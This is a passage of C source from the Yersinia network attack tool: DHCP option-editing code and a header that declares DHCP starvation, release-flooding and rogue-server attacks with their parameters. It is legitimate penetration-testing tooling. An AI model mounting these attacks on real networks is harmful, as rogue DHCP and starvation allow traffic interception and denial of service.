*)&dhcp_data->yiaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->siaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->giaddr, (void *) &lbl32, 4);*/ dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; dhcp_data->sip = 0; dhcp_data->dip = inet_addr("255.255.255.255"); attack_gen_mac(dhcp_data->mac_source); dhcp_data->mac_source[0] &= 0x0E; /* chaddr = mac_source */ memcpy((void *) dhcp_data->chaddr, (void *) dhcp_data->mac_source, ETHER_ADDR_LEN); parser_vrfy_mac("FF:FF:FF:FF:FF:FF",dhcp_data->mac_dest); /* options */ dhcp_data->options[0] = LIBNET_DHCP_MESSAGETYPE; dhcp_data->options[1] = 1; dhcp_data->options[2] = LIBNET_DHCP_MSGDISCOVER; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; return 0; } int8_t dhcp_edit_tlv(struct term_node *node, u_int8_t action, u_int8_t pointer, u_int16_t type, u_int8_t *value) { u_int8_t i; u_int16_t len, offset; u_int32_t aux_long; struct dhcp_data *dhcp_data; i = 0; offset = 0; dhcp_data = (struct dhcp_data *) node->protocol[PROTO_DHCP].tmp_data; switch(action) { case TLV_DELETE: /* Find the TLV */ while ((i < MAX_TLV) && (offset < dhcp_data->options_len)) { if ((*(u_int8_t *)(dhcp_data->options + offset + 1)) > dhcp_data->options_len) { write_log(0, "Oversized packet!\n"); return -1; /* Oversized packet */ } if ((*(u_int8_t *)(dhcp_data->options + offset)) == LIBNET_DHCP_END) len = 1; else len = (*(u_int8_t *)(dhcp_data->options + offset + 1)) + 2; if (i == pointer) { dhcp_data->options_len -= len; memcpy((void *)(dhcp_data->options + offset), (void *)(dhcp_data->options + offset + len), dhcp_data->options_len - offset); /* Space left in options should be zero */ memset((void *)(dhcp_data->options + dhcp_data->options_len), 0, MAX_TLV*MAX_VALUE_LENGTH - dhcp_data->options_len); return 0; } i++; offset += len; } break; case TLV_ADD: dhcp_data->options[dhcp_data->options_len] = type; switch(type) { case LIBNET_DHCP_MESSAGETYPE: if (dhcp_data->options_len + 3 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 1; dhcp_data->options[dhcp_data->options_len + 2] = (*(u_int8_t *)value); dhcp_data->options_len += 3; } else return -1; break; case LIBNET_DHCP_END: if (dhcp_data->options_len + 1 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options_len += 1; } else return -1; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: case LIBNET_DHCP_SERVIDENT: if (dhcp_data->options_len + 6 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 4; /*aux_long = htonl((*(u_int32_t *)value));*/ memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)value, 4); dhcp_data->options_len += 6; } else return -1; break; case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_MESSAGE: case LIBNET_DHCP_CLASSSID: len = strlen((char *)value); if (dhcp_data->options_len + len + 2 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = len; memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)value, len); dhcp_data->options_len += len + 2; } else return -1; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: if (dhcp_data->options_len + 6 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 4; aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)&aux_long, 4); dhcp_data->options_len += 6; } else return -1; break; } break; } return -1; } int8_t dhcp_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/dhcp.h
/* dhcp.h * Definitions for Dynamic Host Configuration Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DHCP_H__ #define __DHCP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define DHCP_HW_TYPE_E10MB 0x01 #define DHCP_HW_LEN_E10MB 0x06 #define DHCP_CLIENT_PORT 68 #define DHCP_SERVER_PORT 67 #define DHCP_MAX_OPTIONS 100 #define DHCP_SMAC 0 #define DHCP_DMAC 1 #define DHCP_SIP 2 #define DHCP_DIP 3 #define DHCP_SPORT 4 #define DHCP_DPORT 5 #define DHCP_OP 6 #define DHCP_HTYPE 7 #define DHCP_HLEN 8 #define DHCP_HOPS 9 #define DHCP_XID 10 #define DHCP_SECS 11 #define DHCP_FLAGS 12 #define DHCP_CIADDR 13 #define DHCP_YIADDR 14 #define DHCP_SIADDR 15 #define DHCP_GIADDR 16 #define DHCP_CHADDR 17 #define DHCP_TLV 18 #define DHCP_SNAME 20 #define DHCP_FILE 21 #define DHCP_OPTIONS 22 #define DHCP_MSG 23 /* Default values */ #define DHCP_DFL_OPCODE LIBNET_DHCP_REQUEST #define DHCP_DFL_HW_TYPE DHCP_HW_TYPE_E10MB #define DHCP_DFL_HW_LEN DHCP_HW_LEN_E10MB #define DHCP_DFL_MSG LIBNET_DHCP_MSGDISCOVER #define DHCP_DFL_HOPS 0 #define DHCP_DFL_SECS 0 #define DHCP_DFL_FLAGS 0x8000 static const struct tuple_type_desc dhcp_type_desc[] = { { LIBNET_DHCP_PAD, "PAD" }, { LIBNET_DHCP_SUBNETMASK, "SUBNETMASK" }, { LIBNET_DHCP_TIMEOFFSET, "TIMEOFFSET" }, { LIBNET_DHCP_ROUTER, "ROUTER" }, { LIBNET_DHCP_TIMESERVER, "TIMESERVER" }, { LIBNET_DHCP_NAMESERVER, "NAMESERVER" }, { LIBNET_DHCP_DNS, "DNS" }, { LIBNET_DHCP_LOGSERV, "LOGSERV" }, { LIBNET_DHCP_COOKIESERV, "COOKIESERV" }, { LIBNET_DHCP_LPRSERV, "LPRSERV" }, { LIBNET_DHCP_IMPSERV, "IMPSERV" }, { LIBNET_DHCP_RESSERV, "RESSERV" }, { LIBNET_DHCP_HOSTNAME, "HOSTNAME" }, { LIBNET_DHCP_BOOTFILESIZE, "BOOTFILESIZE" }, { LIBNET_DHCP_DUMPFILE, "DUMPFILE" }, { LIBNET_DHCP_DOMAINNAME, "DOMAINNAME" }, { LIBNET_DHCP_SWAPSERV, "SWAPSERV" }, { LIBNET_DHCP_ROOTPATH, "ROOTPATH" }, { LIBNET_DHCP_EXTENPATH, "EXTENPATH" }, { LIBNET_DHCP_IPFORWARD, "IPFORWARD" }, { LIBNET_DHCP_SRCROUTE, "SRCROUTE" }, { LIBNET_DHCP_POLICYFILTER, "POLICYFILTER" }, { LIBNET_DHCP_MAXASMSIZE, "MAXASMSIZE" }, { LIBNET_DHCP_IPTTL, "IPTTL" }, { LIBNET_DHCP_MTUTIMEOUT, "MTUTIMEOUT" }, { LIBNET_DHCP_MTUTABLE, "MTUTABLE" }, { LIBNET_DHCP_MTUSIZE, "MTUSIZE" }, { LIBNET_DHCP_LOCALSUBNETS, "LOCALSUBNETS" }, { LIBNET_DHCP_BROADCASTADDR, "BROADCASTADDR" }, { LIBNET_DHCP_DOMASKDISCOV, "DOMASKDISCOV" }, { LIBNET_DHCP_MASKSUPPLY, "MASKSUPPLY" }, { LIBNET_DHCP_DOROUTEDISC, "DOROUTEDISC" }, { LIBNET_DHCP_ROUTERSOLICIT, "ROUTERSOLICIT" }, { LIBNET_DHCP_STATICROUTE, "STATICROUTE" }, { LIBNET_DHCP_TRAILERENCAP, "TRAILERENCAP" }, { LIBNET_DHCP_ARPTIMEOUT, "ARPTIMEOUT" }, { LIBNET_DHCP_ETHERENCAP, "ETHERENCAP" }, { LIBNET_DHCP_TCPTTL, "TCPTTL" }, { LIBNET_DHCP_TCPKEEPALIVE, "TCPKEEPALIVE" }, { LIBNET_DHCP_TCPALIVEGARBAGE, "TCPALIVEGARBAGE" }, { LIBNET_DHCP_NISDOMAIN, "NISDOMAIN" }, { LIBNET_DHCP_NISSERVERS, "NISSERVERS" }, { LIBNET_DHCP_NISTIMESERV, "NISTIMESERV" }, { LIBNET_DHCP_VENDSPECIFIC, "VENDSPECIFIC" }, { LIBNET_DHCP_NBNS, "NBNS" }, { LIBNET_DHCP_NBDD, "NBDD" }, { LIBNET_DHCP_NBTCPIP, "NBTCPIP" }, { LIBNET_DHCP_NBTCPSCOPE, "NBTCPSCOPE" }, { LIBNET_DHCP_XFONT, "XFONT" }, { LIBNET_DHCP_XDISPLAYMGR, "XDISPLAYMGR" }, { LIBNET_DHCP_DISCOVERADDR, "DISCOVERADDR" }, { LIBNET_DHCP_LEASETIME, "LEASETIME" }, { LIBNET_DHCP_OPTIONOVERLOAD, "OPTIONOVERLOAD" }, { LIBNET_DHCP_MESSAGETYPE, "MESSAGETYPE" }, { LIBNET_DHCP_SERVIDENT, "SERVIDENT" }, { LIBNET_DHCP_PARAMREQUEST, "PARAMREQUEST" }, { LIBNET_DHCP_MESSAGE, "MESSAGE" }, { LIBNET_DHCP_MAXMSGSIZE, "MAXMSGSIZE" }, { LIBNET_DHCP_RENEWTIME, "RENEWTIME" }, { LIBNET_DHCP_REBINDTIME, "REBINDTIME" }, { LIBNET_DHCP_CLASSSID, "CLASSSID" }, { LIBNET_DHCP_CLIENTID, "CLIENTID" }, { LIBNET_DHCP_NISPLUSDOMAIN, "NISPLUSDOMAIN" }, { LIBNET_DHCP_NISPLUSSERVERS, "NISPLUSSERVERS" }, { LIBNET_DHCP_MOBILEIPAGENT, "MOBILEIPAGENT" }, { LIBNET_DHCP_SMTPSERVER, "SMTPSERVER" }, { LIBNET_DHCP_POP3SERVER, "POP3SERVER" }, { LIBNET_DHCP_NNTPSERVER, "NNTPSERVER" }, { LIBNET_DHCP_WWWSERVER, "WWWSERVER" }, { LIBNET_DHCP_FINGERSERVER, "FINGERSERVER" }, { LIBNET_DHCP_IRCSERVER, "IRCSERVER" }, { LIBNET_DHCP_STSERVER, "STSERVER" }, { LIBNET_DHCP_STDASERVER, "STDASERVER" }, { LIBNET_DHCP_END, "END" }, { 0, NULL } }; static struct attack_param dhcp_tlv[] = { { NULL, "SUBNETMASK", 4, FIELD_IP, 15, NULL }, { NULL, "ROUTER", 4, FIELD_IP, 15, NULL }, { NULL, "DNS", 4, FIELD_IP, 15, NULL }, { NULL, "HOSTNAME", 15, FIELD_STR, 15, NULL }, { NULL, "DOMAINNAME", 15, FIELD_STR, 15, NULL }, { NULL, "DISCOVERADDR", 4, FIELD_IP, 15, NULL }, { NULL, "LEASETIME", 4, FIELD_HEX, 8, NULL }, { NULL, "MESSAGETYPE", 1, FIELD_HEX, 2, NULL }, { NULL, "SERVIDENT", 4, FIELD_IP, 15, NULL }, { NULL, "MESSAGE", 15, FIELD_STR, 15, NULL }, { NULL, "RENEWTIME", 4, FIELD_HEX, 8, NULL }, { NULL, "REBINDTIME", 4, FIELD_HEX, 8, NULL }, { NULL, "CLASSID", 15, FIELD_STR, 15, NULL }, { NULL, "END", 3, FIELD_STR, 3, NULL }, }; static const struct tuple_type_desc dhcp_opcode[] = { { LIBNET_DHCP_REQUEST, "REQUEST" }, { LIBNET_DHCP_REPLY, "REPLY" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_message[] = { { LIBNET_DHCP_MSGDISCOVER, "DISCOVER" }, { LIBNET_DHCP_MSGOFFER, "OFFER" }, { LIBNET_DHCP_MSGREQUEST, "REQUEST" }, { LIBNET_DHCP_MSGDECLINE, "DECLINE" }, { LIBNET_DHCP_MSGACK, "ACK" }, { LIBNET_DHCP_MSGNACK, "NACK" }, { LIBNET_DHCP_MSGRELEASE, "RELEASE" }, { LIBNET_DHCP_MSGINFORM, "INFORM" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_htype[] = { { DHCP_HW_TYPE_E10MB, "E10MB" }, { 0, NULL } }; static const struct tuple_type_desc dhcp_port[] = { { DHCP_CLIENT_PORT, "CLIENT" }, { DHCP_SERVER_PORT, "SERVER" }, { 0, NULL} }; static struct proto_features dhcp_features[] = { { F_UDP_PORT, DHCP_CLIENT_PORT}, { F_UDP_PORT, DHCP_SERVER_PORT}, { -1, 0 } }; #define MAX_SNAME 64 #define MAX_FNAME 128 /* DHCP stuff */ struct dhcp_data { /* DHCP and Ethernet fields*/ u_int8_t op; u_int8_t htype; u_int8_t hlen; u_int8_t hops; u_int32_t xid; u_int16_t secs; u_int16_t flags; u_int32_t ciaddr; u_int32_t yiaddr; u_int32_t siaddr; u_int32_t giaddr; u_int8_t chaddr[ETHER_ADDR_LEN]; /*char sname[MAX_SNAME]; char fname[MAX_FNAME]; */ /* specific options */ u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int8_t options_len; /* UDP Data */ u_int16_t sport; u_int16_t dport; /* IP Data */ u_int32_t sip; u_int32_t dip; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; static const struct tuple_type_desc dhcp_tlv_desc[] = { { 0, NULL } }; /* Struct needed for using protocol fields within the network client */ struct commands_param dhcp_comm_params[] = { { DHCP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DHCP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DHCP_SIP, "ipsource", "SIP", 4, FIELD_IP, "Set source IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { DHCP_DIP, "ipdest", "DIP", 4, FIELD_IP, "Set destination IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { DHCP_SPORT, "sport", "SPort", 2, FIELD_DEC, "Set UDP source port", " <0-65535> UDP source port", 5, 2, 0, NULL, dhcp_port }, { DHCP_DPORT, "dport", "DPort", 2, FIELD_DEC, "Set UDP destination port", " <0-65535> UDP destination port", 5, 2, 0, NULL, dhcp_port }, { DHCP_OP, "opcode", "Op", 1, FIELD_HEX, "Set dhcp operation code", " <00-FF> host dynamic configuration operation code", 2, 3, 0, NULL, NULL }, { DHCP_HTYPE, "htype", "Htype", 1, FIELD_HEX, "Set dhcp htype", " <00-FF> dhcp htype", 2, 3, 0, NULL, dhcp_htype }, { DHCP_HLEN, "hlen", "HLEN", 1, FIELD_HEX, "Set dhcp hlen", " <00-FF> dhcp hlen", 2, 3, 0, NULL, NULL }, { DHCP_HOPS, "hops", "Hops", 1, FIELD_HEX, "Set dhcp hops", " <00-FF> dhcp hops", 2, 3, 0, NULL, NULL }, { DHCP_XID, "xid", "Xid", 4, FIELD_HEX, "Set dhcp xid", " <00-FFFFFFFF> dhcp xid", 8, 3, 0, NULL, NULL }, { DHCP_SECS, "secs", "Secs", 2, FIELD_HEX, "Set dhcp secs", " <00-FFFF> dhcp secs", 4, 3, 0, NULL, NULL }, { DHCP_FLAGS, "flags", "Flags", 2,FIELD_HEX, "Set dhcp flags", " <00-FFFF> dhcp flags", 4, 3, 0, NULL, NULL }, { DHCP_CIADDR, "ci", "CI", 4, FIELD_IP, "Set ci IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_YIADDR, "yi", "YI", 4, FIELD_IP, "Set yi IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_SIADDR, "si", "SI", 4, FIELD_IP, "Set si IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_GIADDR, "gi", "GI", 4, FIELD_IP, "Set gi IP address", " A.A.A.A IPv4 address", 15, 4, 0, NULL, NULL }, { DHCP_CHADDR, "ch", "CH", 6, FIELD_MAC, "Set ch MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, /* { "fname", "Filename", MAX_FNAME, FIELD_STR, "Set boot file name", " WORD Boot file name", MAX_FNAME, NULL },*/ { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, /* { "sname", "Sname", MAX_SNAME, FIELD_STR, "Set server hostname", " WORD Server hostname", MAX_SNAME, NULL },*/ { DHCP_TLV, "tlv", "TLV", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; struct commands_param_extra dhcp_params_tlv[] = { /* { LIBNET_DHCP_PAD, "PAD" },*/ { LIBNET_DHCP_SUBNETMASK, "subnetmask", "SubnetMask", 4, FIELD_IP, "Set SubnetMaskr", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { LIBNET_DHCP_TIMEOFFSET, "TIMEOFFSET" }, */ { LIBNET_DHCP_ROUTER, "router", "Router", 4, FIELD_IP, "Set Router", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_TIMESERVER, "timeserver", "TimeServer", 4, FIELD_IP, "Set TimeServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_NAMESERVER, "namserver", "NameServer", 4, FIELD_IP, "Set NameServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_DNS, "dns", "DNS", 4, FIELD_IP, "Set DNS", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_LOGSERV, "logserver", "LogServer", 4, FIELD_IP, "Set LogServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_COOKIESERV, "cookieserver", "CookieServer", 4, FIELD_IP, "Set CookieServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_LPRSERV, "lprserver", "LPRServer", 4, FIELD_IP, "Set LPRServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_IMPSERV, "impserver", "Impserver", 4, FIELD_IP, "Set ImpServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_RESSERV, "resserver", "ResServer", 4, FIELD_IP, "Set ResServer", " A.A.A.A IPv4 address", 15, 0, NULL }, { LIBNET_DHCP_HOSTNAME, "hostname", "HostName", MAX_STRING_SIZE, FIELD_STR, "Set HostName", " WORD HostName", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_BOOTFILESIZE, "BOOTFILESIZE" }, { LIBNET_DHCP_DUMPFILE, "DUMPFILE" }, */ { LIBNET_DHCP_DOMAINNAME, "domainname", "DomainName", MAX_STRING_SIZE, FIELD_STR, "Set DomainName", " WORD DomainName", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_SWAPSERV, "SWAPSERV" }, { LIBNET_DHCP_ROOTPATH, "ROOTPATH" }, { LIBNET_DHCP_EXTENPATH, "EXTENPATH" }, { LIBNET_DHCP_IPFORWARD, "IPFORWARD" }, { LIBNET_DHCP_SRCROUTE, "SRCROUTE" }, { LIBNET_DHCP_POLICYFILTER, "POLICYFILTER" }, { LIBNET_DHCP_MAXASMSIZE, "MAXASMSIZE" }, { LIBNET_DHCP_IPTTL, "IPTTL" }, { LIBNET_DHCP_MTUTIMEOUT, "MTUTIMEOUT" }, { LIBNET_DHCP_MTUTABLE, "MTUTABLE" }, { LIBNET_DHCP_MTUSIZE, "MTUSIZE" }, { LIBNET_DHCP_LOCALSUBNETS, "LOCALSUBNETS" }, { LIBNET_DHCP_BROADCASTADDR, "BROADCASTADDR" }, { LIBNET_DHCP_DOMASKDISCOV, "DOMASKDISCOV" }, { LIBNET_DHCP_MASKSUPPLY, "MASKSUPPLY" }, { LIBNET_DHCP_DOROUTEDISC, "DOROUTEDISC" }, { LIBNET_DHCP_ROUTERSOLICIT, "ROUTERSOLICIT" }, { LIBNET_DHCP_STATICROUTE, "STATICROUTE" }, { LIBNET_DHCP_TRAILERENCAP, "TRAILERENCAP" }, { LIBNET_DHCP_ARPTIMEOUT, "ARPTIMEOUT" }, { LIBNET_DHCP_ETHERENCAP, "ETHERENCAP" }, { LIBNET_DHCP_TCPTTL, "TCPTTL" }, { LIBNET_DHCP_TCPKEEPALIVE, "TCPKEEPALIVE" }, { LIBNET_DHCP_TCPALIVEGARBAGE, "TCPALIVEGARBAGE" }, { LIBNET_DHCP_NISDOMAIN, "NISDOMAIN" }, { LIBNET_DHCP_NISSERVERS, "NISSERVERS" }, { LIBNET_DHCP_NISTIMESERV, "NISTIMESERV" }, { LIBNET_DHCP_VENDSPECIFIC, "VENDSPECIFIC" }, { LIBNET_DHCP_NBNS, "NBNS" }, { LIBNET_DHCP_NBDD, "NBDD" }, { LIBNET_DHCP_NBTCPIP, "NBTCPIP" }, { LIBNET_DHCP_NBTCPSCOPE, "NBTCPSCOPE" }, { LIBNET_DHCP_XFONT, "XFONT" }, { LIBNET_DHCP_XDISPLAYMGR, "XDISPLAYMGR" }, { LIBNET_DHCP_DISCOVERADDR, "DISCOVERADDR" }, */ { LIBNET_DHCP_LEASETIME, "leasetime", "LeaseTime", 4, FIELD_HEX, "Set LeaseTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, /* { LIBNET_DHCP_OPTIONOVERLOAD, "OPTIONOVERLOAD" },*/ { LIBNET_DHCP_MESSAGETYPE, "messagetype", "MessageType", 1, FIELD_HEX, "Set MessageType", " <0x00 - 0xFF>", 2, 1, dhcp_message }, { LIBNET_DHCP_SERVIDENT, "servident", "ServIdent", 4, FIELD_IP, "Set ServIdent", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { LIBNET_DHCP_PARAMREQUEST, "PARAMREQUEST" }, { LIBNET_DHCP_MESSAGE, "MESSAGE" }, { LIBNET_DHCP_MAXMSGSIZE, "MAXMSGSIZE" },*/ { LIBNET_DHCP_RENEWTIME, "renewtime", "RenewTime", 4, FIELD_HEX, "Set RenewTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, { LIBNET_DHCP_REBINDTIME, "rebindtime", "RebindTime", 4, FIELD_HEX, "Set RebindTime", " <0x00000000 - 0xFFFFFFFF", 8, 0, NULL }, { LIBNET_DHCP_CLASSSID, "classsid", "ClassSID", MAX_STRING_SIZE, FIELD_STR, "Set ClassSID", " WORD ClassSID", MAX_STRING_SIZE, 0, NULL }, /* { LIBNET_DHCP_CLIENTID, "CLIENTID" }, { LIBNET_DHCP_NISPLUSDOMAIN, "NISPLUSDOMAIN" }, { LIBNET_DHCP_NISPLUSSERVERS, "NISPLUSSERVERS" }, { LIBNET_DHCP_MOBILEIPAGENT, "MOBILEIPAGENT" }, { LIBNET_DHCP_SMTPSERVER, "SMTPSERVER" }, { LIBNET_DHCP_POP3SERVER, "POP3SERVER" }, { LIBNET_DHCP_NNTPSERVER, "NNTPSERVER" }, { LIBNET_DHCP_WWWSERVER, "WWWSERVER" }, { LIBNET_DHCP_FINGERSERVER, "FINGERSERVER" }, { LIBNET_DHCP_IRCSERVER, "IRCSERVER" }, { LIBNET_DHCP_STSERVER, "STSERVER" }, { LIBNET_DHCP_STDASERVER, "STDASERVER" }, */ { LIBNET_DHCP_END, "end", "End", 0, FIELD_HEX, "Set End", "", 0, 0, NULL } }; void dhcp_th_send_raw(void *); void dhcp_th_send_raw_exit(struct attacks *); void dhcp_th_send_discover(void *); void dhcp_th_send_discover_exit(struct attacks *); void dhcp_th_send_inform(void *); void dhcp_th_send_inform_exit(struct attacks *); void dhcp_th_send_offer(void *); void dhcp_th_send_offer_exit(struct attacks *); void dhcp_th_send_request(void *); void dhcp_th_send_request_exit(struct attacks *); void dhcp_th_send_decline(void *); void dhcp_th_send_decline_exit(struct attacks *); void dhcp_th_dos_send_discover(void *); void dhcp_th_dos_send_discover_exit(struct attacks *); void dhcp_th_rogue_server(void *); void dhcp_th_rogue_server_exit(struct attacks *); void dhcp_th_dos_send_release(void *); void dhcp_th_dos_send_release_exit(struct attacks *); #define DHCP_ROGUE_SERVER 0 #define DHCP_ROGUE_START_IP 1 #define DHCP_ROGUE_END_IP 2 #define DHCP_ROGUE_LEASE 3 #define DHCP_ROGUE_RENEW 4 #define DHCP_ROGUE_SUBNET 5 #define DHCP_ROGUE_ROUTER 6 #define DHCP_ROGUE_DNS 7 #define DHCP_ROGUE_DOMAIN 8 static struct attack_param dhcp_rogue_server_params[] = { { NULL, "Server IP", 4, FIELD_IP, 15, NULL }, { NULL, "Start IP", 4, FIELD_IP, 15, NULL }, { NULL, "End IP", 4, FIELD_IP, 15, NULL }, { NULL, "Lease Time (secs)", 4, FIELD_HEX, 8, NULL }, { NULL, "Renew Time (secs)", 4, FIELD_HEX, 8, NULL }, { NULL, "Subnet Mask", 4, FIELD_IP, 15, NULL }, { NULL, "Router", 4, FIELD_IP, 15, NULL }, { NULL, "DNS Server", 4, FIELD_IP, 15, NULL }, { NULL, "Domain", 15, FIELD_STR, 15, NULL } }; #define DHCP_DOS_SEND_RELEASE_SERVER 0 #define DHCP_DOS_SEND_RELEASE_START_IP 1 #define DHCP_DOS_SEND_RELEASE_END_IP 2 static struct attack_param dhcp_dos_send_release_params[] = { { NULL, "Server IP", 4, FIELD_IP, 15, NULL }, { NULL, "Start IP", 4, FIELD_IP, 15, NULL }, { NULL, "End IP", 4, FIELD_IP, 15, NULL } }; #define DHCP_ATTACK_SEND_RAW 0 #define DHCP_ATTACK_DOS_SEND_DISCOVER 1 #define DHCP_ATTACK_ROGUE_SERVER 2 #define DHCP_ATTACK_DOS_SEND_RELEASE 3 static struct _attack_definition dhcp_attack[] = { { DHCP_ATTACK_SEND_RAW, "sending RAW packet", NONDOS, SINGLE, dhcp_th_send_raw, NULL, 0 }, /* { DHCP_ATTACK_SEND_DISCOVER, "sending DISCOVER packet", NONDOS, dhcp_th_send_discover, NULL, 0 },*/ { DHCP_ATTACK_DOS_SEND_DISCOVER, "sending DISCOVER packet", DOS, CONTINOUS, dhcp_th_dos_send_discover,NULL, 0 }, /* { DHCP_ATTACK_SEND_OFFER, "sending OFFER packet", NONDOS, dhcp_th_send_offer, NULL, 0 }, { DHCP_ATTACK_SEND_REQUEST, "sending REQUEST packet", NONDOS, dhcp_th_send_request, NULL, 0 }, { DHCP_ATTACK_SEND_DECLINE, "sending DECLINE packet", NONDOS, dhcp_th_send_decline, NULL, 0 }, { DHCP_ATTACK_SEND_INFORM, "sending INFORM packet", NONDOS, dhcp_th_send_inform, NULL, 0 },*/ { DHCP_ATTACK_ROGUE_SERVER, "creating DHCP rogue server",NONDOS, CONTINOUS, dhcp_th_rogue_server, dhcp_rogue_server_params, SIZE_ARRAY(dhcp_rogue_server_params) }, { DHCP_ATTACK_DOS_SEND_RELEASE, "sending RELEASE packet", DOS, CONTINOUS, dhcp_th_dos_send_release, dhcp_dos_send_release_params, SIZE_ARRAY(dhcp_dos_send_release_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dhcp_register(void); int8_t dhcp_send_discover(struct attacks *); int8_t dhcp_send_inform(struct attacks *); int8_t dhcp_send_offer(struct attacks *); int8_t dhcp_send_request(struct attacks *); int8_t dhcp_send_release(struct attacks *, u_int32_t, u_int32_t, u_int8_t *, u_int8_t *); int8_t dhcp_send_decline(struct attacks *); int8_t dhcp_send_packet(struct attacks *); int8_t dhcp_learn_offer(struct attacks *); int8_t dhcp_load_values(struct pcap_data *, void *); char **dhcp_get_printable_packet(struct pcap_data *); char **dhcp_get_printable_store(struct term_node *); int8_t dhcp_update_field(int8_t, struct term_node *, void *); char *dhcp_get_type_info(u_int16_t); int8_t dhcp_init_attribs(struct term_node *); int8_t dhcp_edit_tlv(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); int8_t dhcp_send_arp_request(struct attacks *, u_int32_t); int8_t dhcp_learn_mac(struct attacks *, u_int32_t, u_int8_t *); int8_t dhcp_init_comms_struct(struct term_node *); int8_t dhcp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_formated_inet_address_fill(u_int32_t, char *, u_int16_t, int8_t); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/dlist.c
